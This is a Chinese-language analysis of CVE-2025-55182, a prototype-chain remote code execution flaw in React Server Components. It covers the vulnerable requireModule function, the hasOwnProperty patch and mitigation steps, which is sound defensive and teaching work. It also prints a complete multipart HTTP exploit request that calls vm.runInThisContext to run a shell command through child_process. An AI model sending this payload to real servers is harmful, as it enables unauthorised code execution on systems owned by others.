React 服务器组件原型链漏洞(CVE-2025-55182)
字数 1567 2025-12-05 12:08:22
React服务器组件原型链漏洞(CVE-2025-55182)分析文档
漏洞概述
CVE编号:CVE-2025-55182
漏洞类型:预认证远程代码执行(RCE)
影响版本:React Server Components 19.0.0、19.1.0、19.1.1、19.2.0
受影响包:react-server-dom-parcel、react-server-dom-turbopack、react-serverdom-webpack
CVSS评分:10.0(严重级别)
漏洞描述
该漏洞存在于React服务器组件(RSC)的反序列化机制中。攻击者可通过向Server Function端点发送特制HTTP请求,利用原型链污染实现远程代码执行。核心问题在于requireModule函数未对属性访问进行安全校验,允许攻击者访问原型链上的危险方法。
环境搭建
所需工具
- Node.js环境
- Git客户端
搭建步骤
- 下载漏洞环境:
git clone https://github.com/ejpir/CVE-2025-55182-poc/
- 安装依赖:
cd CVE-2025-55182-poc
npm install
- 启动服务:
npm start
- 访问测试地址:
http://127.0.0.1:3002
漏洞复现
攻击载荷
POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"dir\").toString()"]}
------Boundary--
关键参数说明
$ACTION_REF_0:动作引用标识(可为空值)$ACTION_0:0:包含恶意序列化数据的核心字段id字段格式:模块名#导出函数名(示例:vm#runInThisContext)bound字段:包含要执行的恶意代码
漏洞分析
漏洞位置
漏洞核心位于requireModule函数(react-server-dom-webpack等服务端包中):
漏洞代码:
function requireModule(metadata) {
const moduleId = metadata[0]; // 模块ID(如:"vm")
const moduleExports = __webpack_require__(moduleId); // 加载模块
const exportName = metadata[2]; // 导出函数名(攻击者可控)
return moduleExports[exportName]; // 直接返回,无安全检查
}
攻击流程
- 请求处理:服务器接收POST请求到
/formaction端点 - 数据解析:解析multipart/form-data格式数据
- 反序列化:调用
decodeAction(formData, serverManifest)处理动作数据 - 模块加载:根据
id字段(如"vm#runInThisContext")拆分并加载对应模块 - 危险函数获取:通过原型链访问获取
vm.runInThisContext等危险函数 - 代码执行:执行bound字段中的恶意代码
补丁分析
修复后的代码添加了hasOwnProperty检查:
// 修复后代码
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
修复关键点:
- 限制只允许访问对象自身属性,禁止原型链遍历
- 防止攻击者通过
__proto__、constructor.prototype等访问原型方法
攻击向量
攻击者可利用以下路径进行攻击:
__proto__.toString:访问原型链方法constructor.prototype:获取构造函数原型vm.runInThisContext:直接获取代码执行能力- 其他Node.js核心模块的危险导出函数
技术细节
反序列化机制
React服务器组件使用自定义序列化格式在客户端和服务器间传输数据。漏洞存在于服务端反序列化过程中对特殊动作(Action)的处理。
服务器清单(Server Manifest)
服务器维护一个模块清单,包含可用模块的映射信息。攻击者通过操控id字段指向危险模块和函数。
多部分表单解析
const formData = parseMultipart(buffer, boundaryMatch[1]);
// 生成Map结构:
// [
// ['$ACTION_REF_0', ''],
// ['$ACTION_0:0', '{"id":"vm#runInThisContext","bound":["..."]}']
// ]
防护建议
即时措施
- 立即升级到React 19.2.1或更高版本
- 检查并验证所有服务器端点的输入数据
- 实施严格的Content-Type验证
长期防护
- 实施输入验证和过滤机制
- 使用沙箱环境运行服务器代码
- 限制模块加载白名单
- 实施最小权限原则
总结
CVE-2025-55182是一个严重的原型链污染漏洞,允许攻击者通过精心构造的序列化数据在服务器端执行任意代码。该漏洞的利用不需要认证,且影响范围广泛,需要立即采取防护措施。修复方案通过添加属性存在性检查,有效阻断了原型链遍历攻击路径。